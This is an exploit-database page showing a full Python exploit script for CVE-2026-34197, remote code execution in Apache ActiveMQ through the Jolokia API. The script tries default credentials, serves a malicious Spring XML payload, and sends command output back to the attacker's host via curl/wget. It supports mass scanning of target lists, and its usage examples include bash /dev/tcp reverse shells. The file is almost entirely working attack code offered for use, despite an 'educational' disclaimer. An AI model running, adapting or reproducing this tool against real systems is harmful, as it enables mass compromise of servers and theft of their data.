Exploit databaseDownload repository ZIP
GH-39d63461e4b01aec2e65a103dbea8ff2
prodevcorp/cve-2026-34197
Sources for CVE-2026-34197
11 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files8
prodevcorp/cve-2026-34197Revision e54799059848
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.py
Python · 30,039 bytes#!/usr/bin/env python3
"""
CVE-2026-34197 — Apache ActiveMQ RCE via Jolokia API
Remote code execution in Apache ActiveMQ Classic through the
addNetworkConnector operation exposed by Jolokia. The exploit forces
the broker to download and execute a malicious Spring XML configuration
file using the VM transport and the xbean: scheme.
Affected versions:
- ActiveMQ Classic < 5.19.4
- ActiveMQ Classic 6.0.0 — 6.2.2
Versions 6.0.0 — 6.1.1 do not require authentication (CVE-2024-32114).
===============================================================================
HOW IT WORKS
===============================================================================
Exploitation chain:
────────────────────────
1. Verifies connectivity with the target via GET /api/jolokia/
- Tries with provided credentials (default: admin:admin)
- If it receives 401, retries WITHOUT auth (CVE-2024-32114)
2. Detects the broker name via Jolokia:
GET /api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*
- Extracts real brokerName from the MBean response
- If it fails, uses "localhost" as fallback
3. Generates Spring XML payload with the command:
- Simple commands (id, whoami): inserted directly
- Commands with special characters (>, &, |, ;, $, etc.):
automatically wrapped in base64 to avoid issues
with XML and Runtime.exec():
echo <base64>|base64 -d|bash
- XML entities are escaped (& < > " ')
4. Starts HTTP server on 0.0.0.0:LPORT to serve the payload XML
5. Sends POST to /api/jolokia/ invoking addNetworkConnector:
{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=<detected>",
"operation": "addNetworkConnector",
"arguments": ["static:(vm://rce<random8>?brokerConfig=xbean:http://LHOST:LPORT/payload.xml)"]
}
- The VM broker name (rce + 8 random chars) is randomized
on each attempt to avoid JMX collisions with previous connectors
6. ActiveMQ processes the vm:// URI, creates an ephemeral broker, and the
xbean: scheme forces the download of the remote XML from our server
7. Spring instantiates the beans from the XML, executing:
Runtime.getRuntime().exec(["/bin/bash", "-c", "<command>"])
8. The HTTP server detects the GET request from the target (callback)
- If received → RCE confirmed
- If not received within 15s → not confirmed
Mass mode (-T targets.txt):
──────────────────────────────
- Reads targets from file, removes duplicates
- Starts the HTTP server ONCE (reused for all)
- Processes each target sequentially: verify → detect broker → exploit
- Automatic auth fallback per target (admin:admin → no auth)
- Saves vulnerable targets immediately to file (safe for Ctrl+C)
- Final summary with count and list of confirmed targets
===============================================================================
USAGE
===============================================================================
# Single target
python exploit.py -t http://TARGET:8161 -l MY_IP -c "id"
# Mass from file
python exploit.py -T targets.txt -l MY_IP -c "id"
# Custom credentials
python exploit.py -t http://TARGET:8161 -l MY_IP -c "whoami" -u admin -p secret
# No auth (ActiveMQ 6.0.0-6.1.1)
python exploit.py -t http://TARGET:8161 -l MY_IP -c "id" --no-auth
# Reverse shell (auto base64-wrapped)
python exploit.py -t http://TARGET:8161 -l MY_IP -c "bash -i >& /dev/tcp/MY_IP/4444 0>&1"
# Mass + reverse shell
python exploit.py -T targets.txt -l MY_IP -c "bash -i >& /dev/tcp/MY_IP/4444 0>&1"
===============================================================================
PARAMETERS
===============================================================================
-t, --target Target URL (e.g.: http://10.0.0.1:8161)
-T, --targets-file File with URLs (one per line) [mutually exclusive with -t]
-l, --lhost Attacker IP to serve the payload [required]
-c, --command Command to execute on the target [required]
-lp, --lport Local HTTP server port (default: 8888)
-o, --output Output file for vulnerable targets (default: vulnerables.txt)
-u, --user Jolokia username (default: admin)
-p, --password Jolokia password (default: admin)
--no-auth Do not send credentials
--broker-name Force broker name (default: auto-detect)
--timeout-wait Payload download wait time (default: 15s)
Author: KONDOR DEV SECURITY (https://t.me/KONDORDEVSECURITY)
PoC for educational and security research purposes.
"""
import argparse
import http.server
import os
import random
import string
import sys
import threading
import time
import socket
try:
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except ImportError:
print("[!] Module 'requests' not found. Install with: pip install requests")
sys.exit(1)
# ─── Terminal colors ───────────────────────────────────────────────────────
class Color:
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
CYAN = "\033[96m"
RESET = "\033[0m"
BANNER = f"""{Color.CYAN}
╔═══════════════════════════════════════════════════════════╗
║ CVE-2026-34197 — Apache ActiveMQ RCE via Jolokia API ║
║ ActiveMQ Classic < 5.19.4 / 6.0.0 — 6.2.2 ║
║ By: KONDOR DEV SECURITY — t.me/KONDORDEVSECURITY ║
╚═══════════════════════════════════════════════════════════╝
{Color.RESET}"""
# ─── XML payload generation ───────────────────────────────────────────────
def xml_escape(s: str) -> str:
"""Escapes XML special characters in the command."""
return (s.replace("&", "&")
.replace("<", "<")
.replace(">", ">")
.replace('"', """)
.replace("'", "'"))
def wrap_command_b64(command: str) -> str:
"""Wraps the command in base64 to avoid issues with special characters in XML/shell."""
import base64
encoded = base64.b64encode(command.encode()).decode()
return f"echo {encoded}|base64 -d|bash"
def needs_b64(command: str) -> bool:
"""Detects if the command has characters that break XML or shell inside Runtime.exec."""
problematic_chars = ['>', '<', '&', '|', '$', '`', '(', ')', ';', '\\', '\n']
return any(c in command for c in problematic_chars)
def is_interactive_command(command: str) -> bool:
"""Detects reverse shells and interactive commands whose output cannot be captured."""
patterns = ['/dev/tcp/', '/dev/udp/', 'mkfifo', '.connect(', 'os.dup2',
'ncat ', 'socat ', 'curl ', 'wget ']
return any(p in command for p in patterns)
def wrap_for_output(command: str, lhost: str, lport: int) -> str:
"""Wraps a command so its stdout/stderr is sent back via HTTP POST to our server."""
return (
f'OUTPUT=$({command} 2>&1); '
f'curl -s -X POST http://{lhost}:{lport}/output -d "$OUTPUT" 2>/dev/null || '
f'wget -q -O- --post-data="$OUTPUT" http://{lhost}:{lport}/output 2>/dev/null'
)
def generate_payload_xml(command: str) -> str:
"""Generates the Spring XML payload that executes the given command.
If the command contains special characters (reverse shells, pipes, etc.)
it is automatically wrapped in base64 to avoid escaping issues."""
if needs_b64(command):
final_command = wrap_command_b64(command)
else:
final_command = command
command_xml = xml_escape(final_command)
payload_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "payloads")
template_path = os.path.join(payload_dir, "template.xml")
if os.path.exists(template_path):
with open(template_path, "r", encoding="utf-8") as f:
template = f.read()
return template.replace("{{COMMAND}}", command_xml)
return f"""<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="targetObject">
<bean class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="targetClass" value="java.lang.Runtime"/>
<property name="targetMethod" value="getRuntime"/>
</bean>
</property>
<property name="targetMethod" value="exec"/>
<property name="arguments">
<list>
<array value-type="java.lang.String">
<value>/bin/bash</value>
<value>-c</value>
<value>{command_xml}</value>
</array>
</list>
</property>
</bean>
</beans>"""
# ─── HTTP server to serve the payload ──────────────────────────────────────
class PayloadHandler(http.server.BaseHTTPRequestHandler):
"""HTTP server that serves the XML payload, receives command output, and logs requests."""
payload_xml = ""
request_received = threading.Event()
command_output = ""
output_received = threading.Event()
def do_GET(self, *args, **kwargs):
self.send_response(200)
self.send_header("Content-Type", "application/xml")
self.end_headers()
self.wfile.write(PayloadHandler.payload_xml.encode("utf-8"))
print(f"{Color.GREEN}[+] Payload served to {self.client_address[0]}{Color.RESET}")
PayloadHandler.request_received.set()
def do_POST(self, *args, **kwargs):
content_length = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(content_length).decode('utf-8', errors='replace')
self.send_response(200)
self.end_headers()
PayloadHandler.command_output = body
PayloadHandler.output_received.set()
def log_message(self, format, *args):
# Silence default HTTP server logs
pass
def start_http_server(lhost: str, lport: int, payload_xml: str) -> http.server.HTTPServer:
"""Starts the HTTP server in a separate thread to serve the payload."""
PayloadHandler.payload_xml = payload_xml
PayloadHandler.request_received.clear()
PayloadHandler.command_output = ""
PayloadHandler.output_received.clear()
server = http.server.HTTPServer(("0.0.0.0", lport), PayloadHandler)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
return server
# ─── Connectivity verification ──────────────────────────────────────────────
def rand_id(n=8):
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))
def verify_target(target: str, auth) -> tuple:
"""Verifies that the target is accessible. Returns (accessible, auth_used)."""
url = f"{target.rstrip('/')}/api/jolokia/"
# Try with provided auth
for current_auth in ([auth, None] if auth else [None]):
try:
kwargs = {"timeout": 10, "verify": False}
if current_auth:
kwargs["auth"] = current_auth
resp = requests.get(url, **kwargs)
if resp.status_code == 200:
if current_auth != auth and current_auth is None:
print(f"{Color.GREEN}[+] Accessible WITHOUT authentication (CVE-2024-32114){Color.RESET}")
return True, current_auth
elif resp.status_code == 401:
if current_auth is not None:
print(f"{Color.YELLOW}[*] Auth {current_auth[0]} failed (401), trying without auth...{Color.RESET}")
continue
print(f"{Color.RED}[!] Authentication required (401){Color.RESET}")
return False, None
elif resp.status_code == 403:
print(f"{Color.RED}[!] Access forbidden (403) to Jolokia.{Color.RESET}")
return False, None
else:
print(f"{Color.YELLOW}[*] Unexpected response: HTTP {resp.status_code}{Color.RESET}")
return True, current_auth
except requests.ConnectionError:
print(f"{Color.RED}[!] Could not connect to {target}{Color.RESET}")
return False, None
except requests.Timeout:
print(f"{Color.RED}[!] Timeout connecting to {target}{Color.RESET}")
return False, None
print(f"{Color.RED}[!] Could not authenticate to {target}{Color.RESET}")
return False, None
def get_broker_name(target: str, auth):
"""Attempts to get the broker name via Jolokia."""
url = f"{target.rstrip('/')}/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*"
try:
kwargs = {"timeout": 10, "verify": False}
if auth:
kwargs["auth"] = auth
resp = requests.get(url, **kwargs)
if resp.status_code == 200:
data = resp.json()
if "value" in data and data["value"]:
# Extract broker name from first result
for key in data["value"]:
if "brokerName=" in key:
return key.split("brokerName=")[1].split(",")[0]
except Exception:
pass
return None
# ─── Main exploit ──────────────────────────────────────────────────────────
def run_exploit(target: str, lhost: str, lport: int, command: str,
auth: tuple | None, broker_name: str,
server: http.server.HTTPServer = None) -> bool:
"""
Executes the CVE-2026-34197 exploit.
1. Generates the Spring XML payload with the command.
2. Starts an HTTP server to serve it (or reuses an existing one).
3. Sends the request to Jolokia to invoke addNetworkConnector
with a vm:// URI pointing to the remote payload.
"""
# Determine if we can capture command output
capture_output = not is_interactive_command(command)
if capture_output:
effective_command = wrap_for_output(command, lhost, lport)
else:
effective_command = command
print(f"{Color.BLUE}[*] Target: {target}{Color.RESET}")
print(f"{Color.BLUE}[*] Command: {command}{Color.RESET}")
if capture_output:
print(f"{Color.BLUE}[*] Output: capture enabled (will POST back to listener){Color.RESET}")
else:
print(f"{Color.BLUE}[*] Output: interactive/reverse shell detected (no capture){Color.RESET}")
if needs_b64(effective_command):
print(f"{Color.BLUE}[*] Payload: (auto base64-wrapped for special characters){Color.RESET}")
print(f"{Color.BLUE}[*] XML URL: http://{lhost}:{lport}/payload.xml{Color.RESET}")
print(f"{Color.BLUE}[*] Broker: {broker_name}{Color.RESET}")
print(f"{Color.BLUE}[*] Auth: {'Disabled' if auth is None else auth[0]}{Color.RESET}")
print()
# Step 1: Generate payload
payload_xml = generate_payload_xml(effective_command)
# Step 2: Start HTTP server if none provided
own_server = False
if server is None:
try:
server = start_http_server("0.0.0.0", lport, payload_xml)
own_server = True
except OSError as e:
print(f"{Color.RED}[!] Could not start HTTP server: {e}{Color.RESET}")
return False
else:
PayloadHandler.payload_xml = payload_xml
PayloadHandler.request_received.clear()
PayloadHandler.command_output = ""
PayloadHandler.output_received.clear()
# Step 3: Send request to Jolokia
jolokia_url = f"{target.rstrip('/')}/api/jolokia/"
rce_broker = f"rce{rand_id()}"
payload_url = f"http://{lhost}:{lport}/payload.xml"
headers = {
"Content-Type": "application/json",
"Origin": target.rstrip("/")
}
base_kwargs = {"headers": headers, "timeout": 30, "verify": False}
if auth:
base_kwargs["auth"] = auth
# Try to remove existing NC connector (from previous attempts)
print(f"{Color.YELLOW}[*] Cleaning up previous connectors...{Color.RESET}")
remove_json = {
"type": "exec",
"mbean": f"org.apache.activemq:type=Broker,brokerName={broker_name}",
"operation": "removeNetworkConnector",
"arguments": ["NC"]
}
try:
requests.post(jolokia_url, json=remove_json, **base_kwargs)
except Exception:
pass
# Build discovery URI with unique connector name
discovery_uri = (
f"static:(vm://{rce_broker}?brokerConfig="
f"xbean:{payload_url})"
)
payload_json = {
"type": "exec",
"mbean": f"org.apache.activemq:type=Broker,brokerName={broker_name}",
"operation": "addNetworkConnector",
"arguments": [discovery_uri]
}
print(f"{Color.YELLOW}[*] Sending request to Jolokia...{Color.RESET}")
jolokia_success = False
try:
resp = requests.post(jolokia_url, json=payload_json, **base_kwargs)
if resp.status_code == 200:
data = resp.json()
if data.get("status") == 200:
print(f"{Color.GREEN}[+] Jolokia accepted the operation (status=200){Color.RESET}")
jolokia_success = True
else:
error = data.get("error", "unknown")
print(f"{Color.YELLOW}[*] Jolokia status={data.get('status')}: {error}{Color.RESET}")
# If NC connector is blocked, try stop+remove+retry
if "could not be registered in JMX" in error and "networkConnectorName=NC" in error:
print(f"{Color.YELLOW}[*] NC connector blocked. Trying stop+remove+retry...{Color.RESET}")
# Stop the connector
stop_json = {
"type": "exec",
"mbean": f"org.apache.activemq:type=Broker,brokerName={broker_name},connector=networkConnectors,networkConnectorName=NC",
"operation": "stop"
}
try:
requests.post(jolokia_url, json=stop_json, **base_kwargs)
except Exception:
pass
# Remove
try:
requests.post(jolokia_url, json=remove_json, **base_kwargs)
except Exception:
pass
# Retry with new broker name
rce_broker2 = f"rce{rand_id()}"
discovery_uri2 = (
f"static:(vm://{rce_broker2}?brokerConfig="
f"xbean:{payload_url})"
)
payload_json2 = {
"type": "exec",
"mbean": f"org.apache.activemq:type=Broker,brokerName={broker_name}",
"operation": "addNetworkConnector",
"arguments": [discovery_uri2]
}
print(f"{Color.YELLOW}[*] Retrying addNetworkConnector...{Color.RESET}")
resp2 = requests.post(jolokia_url, json=payload_json2, **base_kwargs)
if resp2.status_code == 200:
data2 = resp2.json()
if data2.get("status") == 200:
print(f"{Color.GREEN}[+] Jolokia accepted on second attempt{Color.RESET}")
jolokia_success = True
else:
error2 = data2.get("error", "")[:80]
print(f"{Color.YELLOW}[*] Second attempt: {error2}{Color.RESET}")
# Even with error 500, the XML may have been downloaded
jolokia_success = True
else:
# Error 500 but different — the XML may have been loaded anyway
jolokia_success = True
elif resp.status_code == 401:
print(f"{Color.RED}[!] Authentication failed (401){Color.RESET}")
if own_server:
server.shutdown()
return False
elif resp.status_code == 403:
print(f"{Color.RED}[!] Access forbidden (403){Color.RESET}")
if own_server:
server.shutdown()
return False
else:
print(f"{Color.YELLOW}[*] HTTP response: {resp.status_code}{Color.RESET}")
except requests.ConnectionError:
print(f"{Color.RED}[!] Connection error while sending the exploit{Color.RESET}")
if own_server:
server.shutdown()
return False
except requests.Timeout:
print(f"{Color.YELLOW}[*] Request timeout (may be normal if the command takes long){Color.RESET}")
# Step 4: Wait for the target to download the payload
print(f"{Color.YELLOW}[*] Waiting for the target to download the payload...{Color.RESET}")
if PayloadHandler.request_received.wait(timeout=15):
print(f"{Color.GREEN}[+] Target downloaded the payload. Command executed.{Color.RESET}")
success = True
# Step 5: Wait for command output if capture is enabled
if capture_output:
print(f"{Color.YELLOW}[*] Waiting for command output...{Color.RESET}")
if PayloadHandler.output_received.wait(timeout=10):
print(f"{Color.GREEN}[+] Command output received:{Color.RESET}")
print(f"{Color.CYAN}{'─'*50}{Color.RESET}")
print(PayloadHandler.command_output)
print(f"{Color.CYAN}{'─'*50}{Color.RESET}")
else:
print(f"{Color.YELLOW}[*] No output received within 10s (command may have no stdout, or curl/wget not available on target){Color.RESET}")
else:
print(f"{Color.YELLOW}[*] No payload request received within 15s.{Color.RESET}")
success = False
if own_server:
server.shutdown()
return success
# ─── CLI ─────────────────────────────────────────────────────────────────────
def load_targets(filepath: str) -> list:
"""Loads targets from a file, deduplicates and removes empty lines."""
with open(filepath, "r", encoding="utf-8") as f:
targets = [line.strip() for line in f if line.strip()]
# Deduplicate while preserving order
seen = set()
unique = []
for t in targets:
if t not in seen:
seen.add(t)
unique.append(t)
return unique
def parse_args():
parser = argparse.ArgumentParser(
description="CVE-2026-34197 — Apache ActiveMQ RCE via Jolokia API",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s -t http://10.0.0.1:8161 -l 10.0.0.2 -c "id"
%(prog)s -T targets.txt -l 10.0.0.2 -c "id"
%(prog)s -T targets.txt -l 10.0.0.2 -c "id" -o vulnerables.txt
"""
)
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument("-t", "--target",
help="Target base URL (e.g.: http://10.0.0.1:8161)")
group.add_argument("-T", "--targets-file",
help="File with list of target URLs (one per line)")
parser.add_argument("-l", "--lhost", required=True,
help="Attacker IP to serve the payload")
parser.add_argument("-lp", "--lport", type=int, default=8888,
help="Local HTTP server port (default: 8888)")
parser.add_argument("-c", "--command", required=True,
help="Command to execute on the target")
parser.add_argument("-u", "--user", default="admin",
help="Jolokia username (default: admin)")
parser.add_argument("-p", "--password", default="admin",
help="Jolokia password (default: admin)")
parser.add_argument("--no-auth", action="store_true",
help="Do not send credentials (CVE-2024-32114, versions 6.0.0-6.1.1)")
parser.add_argument("--broker-name", default=None,
help="Broker name (default: auto-detect or 'localhost')")
parser.add_argument("-o", "--output", default="vulnerables.txt",
help="Output file for vulnerable targets (default: vulnerables.txt)")
parser.add_argument("--timeout-wait", type=int, default=15,
help="Seconds to wait for payload download (default: 15)")
return parser.parse_args()
def process_target(target: str, args, auth, server) -> bool:
"""Processes a single target: verify, detect broker and run exploit."""
print(f"\n{'='*60}")
print(f"{Color.CYAN}[*] Processing: {target}{Color.RESET}")
print(f"{'='*60}")
accessible, effective_auth = verify_target(target, auth)
if not accessible:
return False
print(f"{Color.GREEN}[+] Target accessible{Color.RESET}")
broker_name = args.broker_name
if not broker_name:
broker_name = get_broker_name(target, effective_auth)
if broker_name:
print(f"{Color.GREEN}[+] Broker detected: {broker_name}{Color.RESET}")
else:
broker_name = "localhost"
print(f"{Color.YELLOW}[*] Broker not detected, using: {broker_name}{Color.RESET}")
return run_exploit(
target=target, lhost=args.lhost, lport=args.lport,
command=args.command, auth=effective_auth, broker_name=broker_name,
server=server
)
def main():
print(BANNER)
args = parse_args()
auth = None if args.no_auth else (args.user, args.password)
# Single target mode
if args.target:
print(f"{Color.YELLOW}[*] Verifying connectivity with the target...{Color.RESET}")
accessible, auth = verify_target(args.target, auth)
if not accessible:
sys.exit(1)
print(f"{Color.GREEN}[+] Target accessible{Color.RESET}")
broker_name = args.broker_name
if not broker_name:
print(f"{Color.YELLOW}[*] Attempting to detect broker name...{Color.RESET}")
broker_name = get_broker_name(args.target, auth)
if broker_name:
print(f"{Color.GREEN}[+] Broker detected: {broker_name}{Color.RESET}")
else:
broker_name = "localhost"
print(f"{Color.YELLOW}[*] Could not detect. Using default: {broker_name}{Color.RESET}")
print()
success = run_exploit(
target=args.target, lhost=args.lhost, lport=args.lport,
command=args.command, auth=auth, broker_name=broker_name
)
print()
if success:
print(f"{Color.GREEN}[+] Exploit completed successfully{Color.RESET}")
else:
print(f"{Color.RED}[-] Exploit not confirmed — check parameters{Color.RESET}")
sys.exit(0 if success else 1)
# Multi-target mode from file
targets = load_targets(args.targets_file)
print(f"{Color.CYAN}[*] Loaded {len(targets)} unique targets from {args.targets_file}{Color.RESET}")
# Generate payload and start HTTP server once
payload_xml = generate_payload_xml(args.command)
print(f"{Color.YELLOW}[*] Starting HTTP server on 0.0.0.0:{args.lport}...{Color.RESET}")
try:
server = start_http_server("0.0.0.0", args.lport, payload_xml)
except OSError as e:
print(f"{Color.RED}[!] Could not start HTTP server: {e}{Color.RESET}")
sys.exit(1)
print(f"{Color.GREEN}[+] HTTP server listening on 0.0.0.0:{args.lport}{Color.RESET}")
vulnerable = []
for i, target in enumerate(targets, 1):
print(f"\n{Color.CYAN}[{i}/{len(targets)}]{Color.RESET}", end=" ")
try:
if process_target(target, args, auth, server):
vulnerable.append(target)
# Save immediately in case of interruption
with open(args.output, "a", encoding="utf-8") as f:
f.write(target + "\n")
print(f"{Color.GREEN}[+] VULNERABLE! -> {target}{Color.RESET}")
else:
print(f"{Color.RED}[-] Not vulnerable: {target}{Color.RESET}")
except KeyboardInterrupt:
print(f"\n{Color.YELLOW}[!] Interrupted by user{Color.RESET}")
break
except Exception as e:
print(f"{Color.RED}[!] Error on {target}: {e}{Color.RESET}")
server.shutdown()
# Final summary
print(f"\n{'='*60}")
print(f"{Color.CYAN}[*] SUMMARY{Color.RESET}")
print(f"{'='*60}")
print(f"{Color.BLUE}[*] Total processed: {len(targets)}{Color.RESET}")
print(f"{Color.GREEN}[+] Vulnerable: {len(vulnerable)}{Color.RESET}")
if vulnerable:
print(f"{Color.GREEN}[+] Saved to: {args.output}{Color.RESET}")
for v in vulnerable:
print(f" {Color.GREEN}✓ {v}{Color.RESET}")
else:
print(f"{Color.RED}[-] No vulnerable targets found{Color.RESET}")
sys.exit(0 if vulnerable else 1)
if __name__ == "__main__":
main()